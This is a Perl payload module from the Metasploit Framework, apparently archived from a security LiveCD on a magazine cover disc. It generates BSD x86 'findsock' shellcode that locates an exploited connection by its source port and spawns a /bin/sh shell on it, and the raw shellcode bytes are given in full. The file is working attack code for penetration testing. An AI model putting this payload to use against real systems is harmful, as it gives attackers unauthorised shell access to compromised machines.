home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / bsd_ia32_findsock.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  70 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::bsd_ia32_findsock;
  11. use strict;
  12. use base 'Msf::PayloadComponent::FindConnection';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'BSD IA32 SrcPort Findsock Shell',
  17.   'Version'      => '$Revision: 1.3 $',
  18.   'Description'  => 'Spawn a shell on the established connection',
  19.   'Authors'      => [ 'vlad902 <vlad902 [at] gmail.com>', ],
  20.   'Arch'         => [ 'x86' ],
  21.   'Priv'         => 0,
  22.   'OS'           => [ 'bsd' ],
  23.   'Size'         => '',
  24.   'UserOpts'     =>
  25.     {
  26.       'CPORT' => [1, 'PORT', 'Local port used by exploit'],
  27.     }
  28. };
  29.  
  30. sub new {
  31.   my $class = shift;
  32.   my $hash = @_ ? shift : { };
  33.   $hash = $class->MergeHashRec($hash, {'Info' => $info});
  34.   my $self = $class->SUPER::new($hash, @_);
  35.  
  36.   $self->_Info->{'Size'} = $self->_GenSize;
  37.   return($self);
  38. }
  39.  
  40. sub Build {
  41.   my $self = shift;
  42.   return($self->Generate($self->GetVar('CPORT')));
  43. }
  44.  
  45. sub Generate {
  46.   my $self = shift;
  47.   my $port = shift;
  48.   my $off_port = 24;
  49.   my $port_bin = pack('n', $port);
  50.  
  51.   my $shellcode =
  52.     "\x31\xff\x57\x89\xe5\x47\x89\xec\x6a\x10\x54\x55".
  53.     "\x57\x6a\x1f\x58\x6a\x02\xcd\x80\x66\x81\x7d\x02".
  54.     "\x11\x5c\x75\xe9\x59\x51\x57\x6a\x5a\x58\x51\xcd".
  55.     "\x80\x49\x79\xf5\x68\x2f\x2f\x73\x68\x68\x2f\x62".
  56.     "\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";
  57.  
  58.   substr($shellcode, $off_port, 2, $port_bin);
  59.  
  60.   return($shellcode);
  61. }
  62.  
  63. sub _GenSize {
  64.   my $self = shift;
  65.   my $bin = $self->Generate('4444');
  66.   return(length($bin));
  67. }
  68.  
  69. 1;
  70.